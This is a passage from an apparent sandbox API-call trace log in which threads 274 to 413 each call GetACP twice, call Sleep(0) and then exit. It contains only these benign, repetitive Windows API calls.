[0114.833] GetACP () returned 0x4e4 [0114.833] GetACP () returned 0x4e4 [0114.833] Sleep (dwMilliseconds=0x0) [0114.980] RtlExitUserThread (Status=0x0) Thread: id = 274 os_tid = 0x12c8 [0114.834] GetACP () returned 0x4e4 [0114.834] GetACP () returned 0x4e4 [0114.834] Sleep (dwMilliseconds=0x0) [0114.980] RtlExitUserThread (Status=0x0) Thread: id = 275 os_tid = 0x12cc [0114.834] GetACP () returned 0x4e4 [0114.834] GetACP () returned 0x4e4 [0114.834] Sleep (dwMilliseconds=0x0) [0114.982] RtlExitUserThread (Status=0x0) Thread: id = 276 os_tid = 0x12d0 [0114.835] GetACP () returned 0x4e4 [0114.835] GetACP () returned 0x4e4 [0114.835] Sleep (dwMilliseconds=0x0) [0114.983] RtlExitUserThread (Status=0x0) Thread: id = 277 os_tid = 0x12d4 [0114.835] GetACP () returned 0x4e4 [0114.835] GetACP () returned 0x4e4 [0114.835] Sleep (dwMilliseconds=0x0) [0114.983] RtlExitUserThread (Status=0x0) Thread: id = 278 os_tid = 0x12d8 [0114.836] GetACP () returned 0x4e4 [0114.836] GetACP () returned 0x4e4 [0114.836] Sleep (dwMilliseconds=0x0) [0114.984] RtlExitUserThread (Status=0x0) Thread: id = 279 os_tid = 0x12dc [0114.836] GetACP () returned 0x4e4 [0114.836] GetACP () returned 0x4e4 [0114.836] Sleep (dwMilliseconds=0x0) [0114.984] RtlExitUserThread (Status=0x0) Thread: id = 280 os_tid = 0x12e0 [0114.837] GetACP () returned 0x4e4 [0114.837] GetACP () returned 0x4e4 [0114.837] Sleep (dwMilliseconds=0x0) [0114.985] RtlExitUserThread (Status=0x0) Thread: id = 281 os_tid = 0x12e4 [0114.837] GetACP () returned 0x4e4 [0114.838] GetACP () returned 0x4e4 [0114.838] Sleep (dwMilliseconds=0x0) [0114.985] RtlExitUserThread (Status=0x0) Thread: id = 282 os_tid = 0x12e8 [0114.838] GetACP () returned 0x4e4 [0114.838] GetACP () returned 0x4e4 [0114.838] Sleep (dwMilliseconds=0x0) [0114.986] RtlExitUserThread (Status=0x0) Thread: id = 283 os_tid = 0x12ec [0114.987] GetACP () returned 0x4e4 [0114.987] GetACP () returned 0x4e4 [0114.987] Sleep (dwMilliseconds=0x0) [0115.072] RtlExitUserThread (Status=0x0) Thread: id = 284 os_tid = 0x12f0 [0114.988] GetACP () returned 0x4e4 [0114.988] GetACP () returned 0x4e4 [0114.988] Sleep (dwMilliseconds=0x0) [0115.073] RtlExitUserThread (Status=0x0) Thread: id = 285 os_tid = 0x12f4 [0114.989] GetACP () returned 0x4e4 [0114.989] GetACP () returned 0x4e4 [0114.989] Sleep (dwMilliseconds=0x0) [0115.073] RtlExitUserThread (Status=0x0) Thread: id = 286 os_tid = 0x12f8 [0114.989] GetACP () returned 0x4e4 [0114.989] GetACP () returned 0x4e4 [0114.989] Sleep (dwMilliseconds=0x0) [0115.110] RtlExitUserThread (Status=0x0) Thread: id = 287 os_tid = 0x12fc [0114.990] GetACP () returned 0x4e4 [0114.990] GetACP () returned 0x4e4 [0114.990] Sleep (dwMilliseconds=0x0) [0115.111] RtlExitUserThread (Status=0x0) Thread: id = 288 os_tid = 0x1300 [0114.990] GetACP () returned 0x4e4 [0114.990] GetACP () returned 0x4e4 [0114.990] Sleep (dwMilliseconds=0x0) [0115.111] RtlExitUserThread (Status=0x0) Thread: id = 289 os_tid = 0x1304 [0114.991] GetACP () returned 0x4e4 [0114.991] GetACP () returned 0x4e4 [0114.991] Sleep (dwMilliseconds=0x0) [0115.112] RtlExitUserThread (Status=0x0) Thread: id = 290 os_tid = 0x1308 [0114.991] GetACP () returned 0x4e4 [0114.991] GetACP () returned 0x4e4 [0114.991] Sleep (dwMilliseconds=0x0) [0115.113] RtlExitUserThread (Status=0x0) Thread: id = 291 os_tid = 0x130c [0114.992] GetACP () returned 0x4e4 [0114.992] GetACP () returned 0x4e4 [0114.992] Sleep (dwMilliseconds=0x0) [0115.114] RtlExitUserThread (Status=0x0) Thread: id = 292 os_tid = 0x1310 [0114.992] GetACP () returned 0x4e4 [0114.992] GetACP () returned 0x4e4 [0114.992] Sleep (dwMilliseconds=0x0) [0115.114] RtlExitUserThread (Status=0x0) Thread: id = 293 os_tid = 0x1314 [0114.993] GetACP () returned 0x4e4 [0114.993] GetACP () returned 0x4e4 [0114.993] Sleep (dwMilliseconds=0x0) [0115.115] RtlExitUserThread (Status=0x0) Thread: id = 294 os_tid = 0x1318 [0114.993] GetACP () returned 0x4e4 [0114.993] GetACP () returned 0x4e4 [0114.993] Sleep (dwMilliseconds=0x0) [0115.115] RtlExitUserThread (Status=0x0) Thread: id = 295 os_tid = 0x131c [0114.994] GetACP () returned 0x4e4 [0114.994] GetACP () returned 0x4e4 [0114.994] Sleep (dwMilliseconds=0x0) [0115.116] RtlExitUserThread (Status=0x0) Thread: id = 296 os_tid = 0x1320 [0114.994] GetACP () returned 0x4e4 [0114.994] GetACP () returned 0x4e4 [0114.994] Sleep (dwMilliseconds=0x0) [0115.117] RtlExitUserThread (Status=0x0) Thread: id = 297 os_tid = 0x1324 [0114.995] GetACP () returned 0x4e4 [0114.995] GetACP () returned 0x4e4 [0114.995] Sleep (dwMilliseconds=0x0) [0115.117] RtlExitUserThread (Status=0x0) Thread: id = 298 os_tid = 0x1328 [0114.995] GetACP () returned 0x4e4 [0114.995] GetACP () returned 0x4e4 [0114.995] Sleep (dwMilliseconds=0x0) [0115.118] RtlExitUserThread (Status=0x0) Thread: id = 299 os_tid = 0x132c [0114.996] GetACP () returned 0x4e4 [0114.996] GetACP () returned 0x4e4 [0114.996] Sleep (dwMilliseconds=0x0) [0115.119] RtlExitUserThread (Status=0x0) Thread: id = 300 os_tid = 0x1330 [0114.996] GetACP () returned 0x4e4 [0114.996] GetACP () returned 0x4e4 [0114.996] Sleep (dwMilliseconds=0x0) [0115.119] RtlExitUserThread (Status=0x0) Thread: id = 301 os_tid = 0x1334 [0114.997] GetACP () returned 0x4e4 [0114.997] GetACP () returned 0x4e4 [0114.997] Sleep (dwMilliseconds=0x0) [0115.120] RtlExitUserThread (Status=0x0) Thread: id = 302 os_tid = 0x1338 [0114.997] GetACP () returned 0x4e4 [0114.997] GetACP () returned 0x4e4 [0114.997] Sleep (dwMilliseconds=0x0) [0115.120] RtlExitUserThread (Status=0x0) Thread: id = 303 os_tid = 0x133c [0115.121] GetACP () returned 0x4e4 [0115.121] GetACP () returned 0x4e4 [0115.121] Sleep (dwMilliseconds=0x0) [0115.201] RtlExitUserThread (Status=0x0) Thread: id = 304 os_tid = 0x1340 [0115.122] GetACP () returned 0x4e4 [0115.122] GetACP () returned 0x4e4 [0115.122] Sleep (dwMilliseconds=0x0) [0115.202] RtlExitUserThread (Status=0x0) Thread: id = 305 os_tid = 0x1344 [0115.123] GetACP () returned 0x4e4 [0115.123] GetACP () returned 0x4e4 [0115.123] Sleep (dwMilliseconds=0x0) [0115.203] RtlExitUserThread (Status=0x0) Thread: id = 306 os_tid = 0x1348 [0115.123] GetACP () returned 0x4e4 [0115.123] GetACP () returned 0x4e4 [0115.123] Sleep (dwMilliseconds=0x0) [0115.204] RtlExitUserThread (Status=0x0) Thread: id = 307 os_tid = 0x134c [0115.124] GetACP () returned 0x4e4 [0115.124] GetACP () returned 0x4e4 [0115.124] Sleep (dwMilliseconds=0x0) [0115.204] RtlExitUserThread (Status=0x0) Thread: id = 308 os_tid = 0x1350 [0115.124] GetACP () returned 0x4e4 [0115.124] GetACP () returned 0x4e4 [0115.124] Sleep (dwMilliseconds=0x0) [0115.205] RtlExitUserThread (Status=0x0) Thread: id = 309 os_tid = 0x1354 [0115.125] GetACP () returned 0x4e4 [0115.125] GetACP () returned 0x4e4 [0115.125] Sleep (dwMilliseconds=0x0) [0115.206] RtlExitUserThread (Status=0x0) Thread: id = 310 os_tid = 0x1358 [0115.125] GetACP () returned 0x4e4 [0115.125] GetACP () returned 0x4e4 [0115.125] Sleep (dwMilliseconds=0x0) [0115.206] RtlExitUserThread (Status=0x0) Thread: id = 311 os_tid = 0x135c [0115.126] GetACP () returned 0x4e4 [0115.126] GetACP () returned 0x4e4 [0115.126] Sleep (dwMilliseconds=0x0) [0115.207] RtlExitUserThread (Status=0x0) Thread: id = 312 os_tid = 0x1360 [0115.126] GetACP () returned 0x4e4 [0115.126] GetACP () returned 0x4e4 [0115.126] Sleep (dwMilliseconds=0x0) [0115.208] RtlExitUserThread (Status=0x0) Thread: id = 313 os_tid = 0x1364 [0115.127] GetACP () returned 0x4e4 [0115.127] GetACP () returned 0x4e4 [0115.127] Sleep (dwMilliseconds=0x0) [0115.208] RtlExitUserThread (Status=0x0) Thread: id = 314 os_tid = 0x1368 [0115.128] GetACP () returned 0x4e4 [0115.128] GetACP () returned 0x4e4 [0115.128] Sleep (dwMilliseconds=0x0) [0115.209] RtlExitUserThread (Status=0x0) Thread: id = 315 os_tid = 0x136c [0115.128] GetACP () returned 0x4e4 [0115.128] GetACP () returned 0x4e4 [0115.128] Sleep (dwMilliseconds=0x0) [0115.210] RtlExitUserThread (Status=0x0) Thread: id = 316 os_tid = 0x1370 [0115.129] GetACP () returned 0x4e4 [0115.129] GetACP () returned 0x4e4 [0115.129] Sleep (dwMilliseconds=0x0) [0115.211] RtlExitUserThread (Status=0x0) Thread: id = 317 os_tid = 0x1374 [0115.129] GetACP () returned 0x4e4 [0115.129] GetACP () returned 0x4e4 [0115.129] Sleep (dwMilliseconds=0x0) [0115.211] RtlExitUserThread (Status=0x0) Thread: id = 318 os_tid = 0x1378 [0115.130] GetACP () returned 0x4e4 [0115.130] GetACP () returned 0x4e4 [0115.130] Sleep (dwMilliseconds=0x0) [0115.212] RtlExitUserThread (Status=0x0) Thread: id = 319 os_tid = 0x137c [0115.130] GetACP () returned 0x4e4 [0115.130] GetACP () returned 0x4e4 [0115.130] Sleep (dwMilliseconds=0x0) [0115.213] RtlExitUserThread (Status=0x0) Thread: id = 320 os_tid = 0x1380 [0115.131] GetACP () returned 0x4e4 [0115.131] GetACP () returned 0x4e4 [0115.131] Sleep (dwMilliseconds=0x0) [0115.213] RtlExitUserThread (Status=0x0) Thread: id = 321 os_tid = 0x1384 [0115.131] GetACP () returned 0x4e4 [0115.131] GetACP () returned 0x4e4 [0115.131] Sleep (dwMilliseconds=0x0) [0115.214] RtlExitUserThread (Status=0x0) Thread: id = 322 os_tid = 0x1388 [0115.132] GetACP () returned 0x4e4 [0115.132] GetACP () returned 0x4e4 [0115.132] Sleep (dwMilliseconds=0x0) [0115.215] RtlExitUserThread (Status=0x0) Thread: id = 323 os_tid = 0x138c [0115.216] GetACP () returned 0x4e4 [0115.216] GetACP () returned 0x4e4 [0115.216] Sleep (dwMilliseconds=0x0) [0115.556] RtlExitUserThread (Status=0x0) Thread: id = 324 os_tid = 0x1390 [0115.216] GetACP () returned 0x4e4 [0115.216] GetACP () returned 0x4e4 [0115.216] Sleep (dwMilliseconds=0x0) [0115.556] RtlExitUserThread (Status=0x0) Thread: id = 325 os_tid = 0x1394 [0115.217] GetACP () returned 0x4e4 [0115.217] GetACP () returned 0x4e4 [0115.217] Sleep (dwMilliseconds=0x0) [0115.557] RtlExitUserThread (Status=0x0) Thread: id = 326 os_tid = 0x1398 [0115.217] GetACP () returned 0x4e4 [0115.217] GetACP () returned 0x4e4 [0115.217] Sleep (dwMilliseconds=0x0) [0115.557] RtlExitUserThread (Status=0x0) Thread: id = 327 os_tid = 0x139c [0115.218] GetACP () returned 0x4e4 [0115.218] GetACP () returned 0x4e4 [0115.218] Sleep (dwMilliseconds=0x0) [0115.558] RtlExitUserThread (Status=0x0) Thread: id = 328 os_tid = 0x13a0 [0115.218] GetACP () returned 0x4e4 [0115.218] GetACP () returned 0x4e4 [0115.218] Sleep (dwMilliseconds=0x0) [0115.558] RtlExitUserThread (Status=0x0) Thread: id = 329 os_tid = 0x13a4 [0115.219] GetACP () returned 0x4e4 [0115.219] GetACP () returned 0x4e4 [0115.219] Sleep (dwMilliseconds=0x0) [0115.559] RtlExitUserThread (Status=0x0) Thread: id = 330 os_tid = 0x13a8 [0115.220] GetACP () returned 0x4e4 [0115.220] GetACP () returned 0x4e4 [0115.220] Sleep (dwMilliseconds=0x0) [0115.559] RtlExitUserThread (Status=0x0) Thread: id = 331 os_tid = 0x13ac [0115.220] GetACP () returned 0x4e4 [0115.220] GetACP () returned 0x4e4 [0115.220] Sleep (dwMilliseconds=0x0) [0115.560] RtlExitUserThread (Status=0x0) Thread: id = 332 os_tid = 0x13b0 [0115.221] GetACP () returned 0x4e4 [0115.221] GetACP () returned 0x4e4 [0115.221] Sleep (dwMilliseconds=0x0) [0115.560] RtlExitUserThread (Status=0x0) Thread: id = 333 os_tid = 0x13b4 [0115.221] GetACP () returned 0x4e4 [0115.222] GetACP () returned 0x4e4 [0115.222] Sleep (dwMilliseconds=0x0) [0115.561] RtlExitUserThread (Status=0x0) Thread: id = 334 os_tid = 0x13b8 [0115.222] GetACP () returned 0x4e4 [0115.222] GetACP () returned 0x4e4 [0115.222] Sleep (dwMilliseconds=0x0) [0115.561] RtlExitUserThread (Status=0x0) Thread: id = 335 os_tid = 0x13bc [0115.223] GetACP () returned 0x4e4 [0115.223] GetACP () returned 0x4e4 [0115.223] Sleep (dwMilliseconds=0x0) [0115.562] RtlExitUserThread (Status=0x0) Thread: id = 336 os_tid = 0x13c0 [0115.223] GetACP () returned 0x4e4 [0115.223] GetACP () returned 0x4e4 [0115.223] Sleep (dwMilliseconds=0x0) [0115.562] RtlExitUserThread (Status=0x0) Thread: id = 337 os_tid = 0x13c4 [0115.224] GetACP () returned 0x4e4 [0115.224] GetACP () returned 0x4e4 [0115.224] Sleep (dwMilliseconds=0x0) [0115.563] RtlExitUserThread (Status=0x0) Thread: id = 338 os_tid = 0x13c8 [0115.224] GetACP () returned 0x4e4 [0115.224] GetACP () returned 0x4e4 [0115.224] Sleep (dwMilliseconds=0x0) [0115.563] RtlExitUserThread (Status=0x0) Thread: id = 339 os_tid = 0x13cc [0115.225] GetACP () returned 0x4e4 [0115.225] GetACP () returned 0x4e4 [0115.225] Sleep (dwMilliseconds=0x0) [0115.564] RtlExitUserThread (Status=0x0) Thread: id = 340 os_tid = 0x13d0 [0115.226] GetACP () returned 0x4e4 [0115.226] GetACP () returned 0x4e4 [0115.226] Sleep (dwMilliseconds=0x0) [0115.564] RtlExitUserThread (Status=0x0) Thread: id = 341 os_tid = 0x13d4 [0115.226] GetACP () returned 0x4e4 [0115.226] GetACP () returned 0x4e4 [0115.226] Sleep (dwMilliseconds=0x0) [0115.565] RtlExitUserThread (Status=0x0) Thread: id = 342 os_tid = 0x13d8 [0115.227] GetACP () returned 0x4e4 [0115.227] GetACP () returned 0x4e4 [0115.227] Sleep (dwMilliseconds=0x0) [0115.565] RtlExitUserThread (Status=0x0) Thread: id = 343 os_tid = 0x13e4 [0115.566] GetACP () returned 0x4e4 [0115.566] GetACP () returned 0x4e4 [0115.566] Sleep (dwMilliseconds=0x0) [0115.656] RtlExitUserThread (Status=0x0) Thread: id = 344 os_tid = 0x13e8 [0115.567] GetACP () returned 0x4e4 [0115.567] GetACP () returned 0x4e4 [0115.567] Sleep (dwMilliseconds=0x0) [0115.668] RtlExitUserThread (Status=0x0) Thread: id = 345 os_tid = 0x13ec [0115.567] GetACP () returned 0x4e4 [0115.567] GetACP () returned 0x4e4 [0115.567] Sleep (dwMilliseconds=0x0) [0115.668] RtlExitUserThread (Status=0x0) Thread: id = 346 os_tid = 0x13f0 [0115.568] GetACP () returned 0x4e4 [0115.568] GetACP () returned 0x4e4 [0115.568] Sleep (dwMilliseconds=0x0) [0115.669] RtlExitUserThread (Status=0x0) Thread: id = 347 os_tid = 0x13f4 [0115.568] GetACP () returned 0x4e4 [0115.568] GetACP () returned 0x4e4 [0115.568] Sleep (dwMilliseconds=0x0) [0115.669] RtlExitUserThread (Status=0x0) Thread: id = 348 os_tid = 0x13f8 [0115.569] GetACP () returned 0x4e4 [0115.569] GetACP () returned 0x4e4 [0115.569] Sleep (dwMilliseconds=0x0) [0115.670] RtlExitUserThread (Status=0x0) Thread: id = 349 os_tid = 0x13fc [0115.569] GetACP () returned 0x4e4 [0115.569] GetACP () returned 0x4e4 [0115.569] Sleep (dwMilliseconds=0x0) [0115.670] RtlExitUserThread (Status=0x0) Thread: id = 350 os_tid = 0x9d8 [0115.570] GetACP () returned 0x4e4 [0115.570] GetACP () returned 0x4e4 [0115.570] Sleep (dwMilliseconds=0x0) [0115.670] RtlExitUserThread (Status=0x0) Thread: id = 351 os_tid = 0x770 [0115.570] GetACP () returned 0x4e4 [0115.570] GetACP () returned 0x4e4 [0115.570] Sleep (dwMilliseconds=0x0) [0115.671] RtlExitUserThread (Status=0x0) Thread: id = 352 os_tid = 0x3a8 [0115.570] GetACP () returned 0x4e4 [0115.570] GetACP () returned 0x4e4 [0115.570] Sleep (dwMilliseconds=0x0) [0115.671] RtlExitUserThread (Status=0x0) Thread: id = 353 os_tid = 0x498 [0115.571] GetACP () returned 0x4e4 [0115.571] GetACP () returned 0x4e4 [0115.571] Sleep (dwMilliseconds=0x0) [0115.672] RtlExitUserThread (Status=0x0) Thread: id = 354 os_tid = 0x42c [0115.571] GetACP () returned 0x4e4 [0115.571] GetACP () returned 0x4e4 [0115.571] Sleep (dwMilliseconds=0x0) [0115.672] RtlExitUserThread (Status=0x0) Thread: id = 355 os_tid = 0x868 [0115.572] GetACP () returned 0x4e4 [0115.572] GetACP () returned 0x4e4 [0115.572] Sleep (dwMilliseconds=0x0) [0115.673] RtlExitUserThread (Status=0x0) Thread: id = 356 os_tid = 0x1404 [0115.572] GetACP () returned 0x4e4 [0115.572] GetACP () returned 0x4e4 [0115.572] Sleep (dwMilliseconds=0x0) [0115.674] RtlExitUserThread (Status=0x0) Thread: id = 357 os_tid = 0x1408 [0115.572] GetACP () returned 0x4e4 [0115.572] GetACP () returned 0x4e4 [0115.573] Sleep (dwMilliseconds=0x0) [0115.674] RtlExitUserThread (Status=0x0) Thread: id = 358 os_tid = 0x140c [0115.573] GetACP () returned 0x4e4 [0115.573] GetACP () returned 0x4e4 [0115.573] Sleep (dwMilliseconds=0x0) [0115.675] RtlExitUserThread (Status=0x0) Thread: id = 359 os_tid = 0x1410 [0115.573] GetACP () returned 0x4e4 [0115.573] GetACP () returned 0x4e4 [0115.573] Sleep (dwMilliseconds=0x0) [0115.676] RtlExitUserThread (Status=0x0) Thread: id = 360 os_tid = 0x1414 [0115.574] GetACP () returned 0x4e4 [0115.574] GetACP () returned 0x4e4 [0115.574] Sleep (dwMilliseconds=0x0) [0115.676] RtlExitUserThread (Status=0x0) Thread: id = 361 os_tid = 0x1418 [0115.574] GetACP () returned 0x4e4 [0115.574] GetACP () returned 0x4e4 [0115.574] Sleep (dwMilliseconds=0x0) [0115.677] RtlExitUserThread (Status=0x0) Thread: id = 362 os_tid = 0x141c [0115.574] GetACP () returned 0x4e4 [0115.575] GetACP () returned 0x4e4 [0115.575] Sleep (dwMilliseconds=0x0) [0115.678] RtlExitUserThread (Status=0x0) Thread: id = 363 os_tid = 0x1428 [0115.679] GetACP () returned 0x4e4 [0115.679] GetACP () returned 0x4e4 [0115.679] Sleep (dwMilliseconds=0x0) [0115.833] RtlExitUserThread (Status=0x0) Thread: id = 364 os_tid = 0x142c [0115.679] GetACP () returned 0x4e4 [0115.680] GetACP () returned 0x4e4 [0115.680] Sleep (dwMilliseconds=0x0) [0115.833] RtlExitUserThread (Status=0x0) Thread: id = 365 os_tid = 0x1430 [0115.680] GetACP () returned 0x4e4 [0115.680] GetACP () returned 0x4e4 [0115.680] Sleep (dwMilliseconds=0x0) [0115.834] RtlExitUserThread (Status=0x0) Thread: id = 366 os_tid = 0x1434 [0115.680] GetACP () returned 0x4e4 [0115.681] GetACP () returned 0x4e4 [0115.681] Sleep (dwMilliseconds=0x0) [0115.835] RtlExitUserThread (Status=0x0) Thread: id = 367 os_tid = 0x1438 [0115.681] GetACP () returned 0x4e4 [0115.681] GetACP () returned 0x4e4 [0115.681] Sleep (dwMilliseconds=0x0) [0115.836] RtlExitUserThread (Status=0x0) Thread: id = 368 os_tid = 0x143c [0115.682] GetACP () returned 0x4e4 [0115.682] GetACP () returned 0x4e4 [0115.682] Sleep (dwMilliseconds=0x0) [0115.836] RtlExitUserThread (Status=0x0) Thread: id = 369 os_tid = 0x1440 [0115.682] GetACP () returned 0x4e4 [0115.682] GetACP () returned 0x4e4 [0115.682] Sleep (dwMilliseconds=0x0) [0115.837] RtlExitUserThread (Status=0x0) Thread: id = 370 os_tid = 0x1444 [0115.683] GetACP () returned 0x4e4 [0115.683] GetACP () returned 0x4e4 [0115.683] Sleep (dwMilliseconds=0x0) [0115.838] RtlExitUserThread (Status=0x0) Thread: id = 371 os_tid = 0x1448 [0115.683] GetACP () returned 0x4e4 [0115.683] GetACP () returned 0x4e4 [0115.683] Sleep (dwMilliseconds=0x0) [0115.838] RtlExitUserThread (Status=0x0) Thread: id = 372 os_tid = 0x144c [0115.684] GetACP () returned 0x4e4 [0115.684] GetACP () returned 0x4e4 [0115.684] Sleep (dwMilliseconds=0x0) [0115.839] RtlExitUserThread (Status=0x0) Thread: id = 373 os_tid = 0x1450 [0115.685] GetACP () returned 0x4e4 [0115.685] GetACP () returned 0x4e4 [0115.685] Sleep (dwMilliseconds=0x0) [0115.840] RtlExitUserThread (Status=0x0) Thread: id = 374 os_tid = 0x1454 [0115.685] GetACP () returned 0x4e4 [0115.685] GetACP () returned 0x4e4 [0115.685] Sleep (dwMilliseconds=0x0) [0115.840] RtlExitUserThread (Status=0x0) Thread: id = 375 os_tid = 0x1458 [0115.686] GetACP () returned 0x4e4 [0115.686] GetACP () returned 0x4e4 [0115.686] Sleep (dwMilliseconds=0x0) [0115.841] RtlExitUserThread (Status=0x0) Thread: id = 376 os_tid = 0x145c [0115.686] GetACP () returned 0x4e4 [0115.686] GetACP () returned 0x4e4 [0115.686] Sleep (dwMilliseconds=0x0) [0115.842] RtlExitUserThread (Status=0x0) Thread: id = 377 os_tid = 0x1460 [0115.687] GetACP () returned 0x4e4 [0115.687] GetACP () returned 0x4e4 [0115.687] Sleep (dwMilliseconds=0x0) [0115.842] RtlExitUserThread (Status=0x0) Thread: id = 378 os_tid = 0x1464 [0115.688] GetACP () returned 0x4e4 [0115.688] GetACP () returned 0x4e4 [0115.688] Sleep (dwMilliseconds=0x0) [0115.843] RtlExitUserThread (Status=0x0) Thread: id = 379 os_tid = 0x1468 [0115.688] GetACP () returned 0x4e4 [0115.688] GetACP () returned 0x4e4 [0115.688] Sleep (dwMilliseconds=0x0) [0115.844] RtlExitUserThread (Status=0x0) Thread: id = 380 os_tid = 0x146c [0115.689] GetACP () returned 0x4e4 [0115.689] GetACP () returned 0x4e4 [0115.689] Sleep (dwMilliseconds=0x0) [0115.845] RtlExitUserThread (Status=0x0) Thread: id = 381 os_tid = 0x1470 [0115.689] GetACP () returned 0x4e4 [0115.689] GetACP () returned 0x4e4 [0115.689] Sleep (dwMilliseconds=0x0) [0115.845] RtlExitUserThread (Status=0x0) Thread: id = 382 os_tid = 0x1474 [0115.690] GetACP () returned 0x4e4 [0115.690] GetACP () returned 0x4e4 [0115.690] Sleep (dwMilliseconds=0x0) [0115.846] RtlExitUserThread (Status=0x0) Thread: id = 383 os_tid = 0x1490 [0115.847] GetACP () returned 0x4e4 [0115.847] GetACP () returned 0x4e4 [0115.847] Sleep (dwMilliseconds=0x0) [0116.154] RtlExitUserThread (Status=0x0) Thread: id = 384 os_tid = 0x1494 [0115.848] GetACP () returned 0x4e4 [0115.848] GetACP () returned 0x4e4 [0115.848] Sleep (dwMilliseconds=0x0) [0116.154] RtlExitUserThread (Status=0x0) Thread: id = 385 os_tid = 0x1498 [0115.848] GetACP () returned 0x4e4 [0115.848] GetACP () returned 0x4e4 [0115.848] Sleep (dwMilliseconds=0x0) [0116.155] RtlExitUserThread (Status=0x0) Thread: id = 386 os_tid = 0x149c [0115.849] GetACP () returned 0x4e4 [0115.849] GetACP () returned 0x4e4 [0115.849] Sleep (dwMilliseconds=0x0) [0116.155] RtlExitUserThread (Status=0x0) Thread: id = 387 os_tid = 0x14a0 [0115.849] GetACP () returned 0x4e4 [0115.849] GetACP () returned 0x4e4 [0115.849] Sleep (dwMilliseconds=0x0) [0116.156] RtlExitUserThread (Status=0x0) Thread: id = 388 os_tid = 0x14a4 [0115.851] GetACP () returned 0x4e4 [0115.851] GetACP () returned 0x4e4 [0115.851] Sleep (dwMilliseconds=0x0) [0116.156] RtlExitUserThread (Status=0x0) Thread: id = 389 os_tid = 0x14a8 [0115.852] GetACP () returned 0x4e4 [0115.852] GetACP () returned 0x4e4 [0115.852] Sleep (dwMilliseconds=0x0) [0116.156] RtlExitUserThread (Status=0x0) Thread: id = 390 os_tid = 0x14ac [0115.852] GetACP () returned 0x4e4 [0115.852] GetACP () returned 0x4e4 [0115.852] Sleep (dwMilliseconds=0x0) [0116.157] RtlExitUserThread (Status=0x0) Thread: id = 391 os_tid = 0x14b0 [0115.853] GetACP () returned 0x4e4 [0115.853] GetACP () returned 0x4e4 [0115.853] Sleep (dwMilliseconds=0x0) [0116.157] RtlExitUserThread (Status=0x0) Thread: id = 392 os_tid = 0x14b4 [0115.853] GetACP () returned 0x4e4 [0115.854] GetACP () returned 0x4e4 [0115.854] Sleep (dwMilliseconds=0x0) [0116.158] RtlExitUserThread (Status=0x0) Thread: id = 393 os_tid = 0x14b8 [0115.854] GetACP () returned 0x4e4 [0115.854] GetACP () returned 0x4e4 [0115.854] Sleep (dwMilliseconds=0x0) [0116.158] RtlExitUserThread (Status=0x0) Thread: id = 394 os_tid = 0x14bc [0115.855] GetACP () returned 0x4e4 [0115.855] GetACP () returned 0x4e4 [0115.855] Sleep (dwMilliseconds=0x0) [0116.159] RtlExitUserThread (Status=0x0) Thread: id = 395 os_tid = 0x14c0 [0115.855] GetACP () returned 0x4e4 [0115.855] GetACP () returned 0x4e4 [0115.855] Sleep (dwMilliseconds=0x0) [0116.160] RtlExitUserThread (Status=0x0) Thread: id = 396 os_tid = 0x14c4 [0115.856] GetACP () returned 0x4e4 [0115.856] GetACP () returned 0x4e4 [0115.856] Sleep (dwMilliseconds=0x0) [0116.160] RtlExitUserThread (Status=0x0) Thread: id = 397 os_tid = 0x14c8 [0115.856] GetACP () returned 0x4e4 [0115.856] GetACP () returned 0x4e4 [0115.856] Sleep (dwMilliseconds=0x0) [0116.161] RtlExitUserThread (Status=0x0) Thread: id = 398 os_tid = 0x14cc [0115.857] GetACP () returned 0x4e4 [0115.857] GetACP () returned 0x4e4 [0115.857] Sleep (dwMilliseconds=0x0) [0116.161] RtlExitUserThread (Status=0x0) Thread: id = 399 os_tid = 0x14d0 [0115.857] GetACP () returned 0x4e4 [0115.857] GetACP () returned 0x4e4 [0115.857] Sleep (dwMilliseconds=0x0) [0116.162] RtlExitUserThread (Status=0x0) Thread: id = 400 os_tid = 0x14d4 [0115.858] GetACP () returned 0x4e4 [0115.858] GetACP () returned 0x4e4 [0115.858] Sleep (dwMilliseconds=0x0) [0116.163] RtlExitUserThread (Status=0x0) Thread: id = 401 os_tid = 0x14d8 [0115.859] GetACP () returned 0x4e4 [0115.859] GetACP () returned 0x4e4 [0115.859] Sleep (dwMilliseconds=0x0) [0116.163] RtlExitUserThread (Status=0x0) Thread: id = 402 os_tid = 0x14dc [0115.859] GetACP () returned 0x4e4 [0115.859] GetACP () returned 0x4e4 [0115.859] Sleep (dwMilliseconds=0x0) [0116.164] RtlExitUserThread (Status=0x0) Thread: id = 403 os_tid = 0x14e0 [0116.165] GetACP () returned 0x4e4 [0116.165] GetACP () returned 0x4e4 [0116.165] Sleep (dwMilliseconds=0x0) [0116.226] RtlExitUserThread (Status=0x0) Thread: id = 404 os_tid = 0x14e4 [0116.165] GetACP () returned 0x4e4 [0116.165] GetACP () returned 0x4e4 [0116.165] Sleep (dwMilliseconds=0x0) [0116.227] RtlExitUserThread (Status=0x0) Thread: id = 405 os_tid = 0x14e8 [0116.165] GetACP () returned 0x4e4 [0116.165] GetACP () returned 0x4e4 [0116.165] Sleep (dwMilliseconds=0x0) [0116.227] RtlExitUserThread (Status=0x0) Thread: id = 406 os_tid = 0x14ec [0116.166] GetACP () returned 0x4e4 [0116.166] GetACP () returned 0x4e4 [0116.166] Sleep (dwMilliseconds=0x0) [0116.228] RtlExitUserThread (Status=0x0) Thread: id = 407 os_tid = 0x14f0 [0116.166] GetACP () returned 0x4e4 [0116.166] GetACP () returned 0x4e4 [0116.166] Sleep (dwMilliseconds=0x0) [0116.229] RtlExitUserThread (Status=0x0) Thread: id = 408 os_tid = 0x14f4 [0116.167] GetACP () returned 0x4e4 [0116.167] GetACP () returned 0x4e4 [0116.167] Sleep (dwMilliseconds=0x0) [0116.229] RtlExitUserThread (Status=0x0) Thread: id = 409 os_tid = 0x14f8 [0116.167] GetACP () returned 0x4e4 [0116.167] GetACP () returned 0x4e4 [0116.167] Sleep (dwMilliseconds=0x0) [0116.230] RtlExitUserThread (Status=0x0) Thread: id = 410 os_tid = 0x14fc [0116.167] GetACP () returned 0x4e4 [0116.167] GetACP () returned 0x4e4 [0116.168] Sleep (dwMilliseconds=0x0) [0116.231] RtlExitUserThread (Status=0x0) Thread: id = 411 os_tid = 0x1500 [0116.168] GetACP () returned 0x4e4 [0116.168] GetACP () returned 0x4e4 [0116.168] Sleep (dwMilliseconds=0x0) [0116.231] RtlExitUserThread (Status=0x0) Thread: id = 412 os_tid = 0x1504 [0116.168] GetACP () returned 0x4e4 [0116.168] GetACP () returned 0x4e4 [0116.168] Sleep (dwMilliseconds=0x0) [0116.232] RtlExitUserThread (Status=0x0) Thread: id = 413 os_tid = 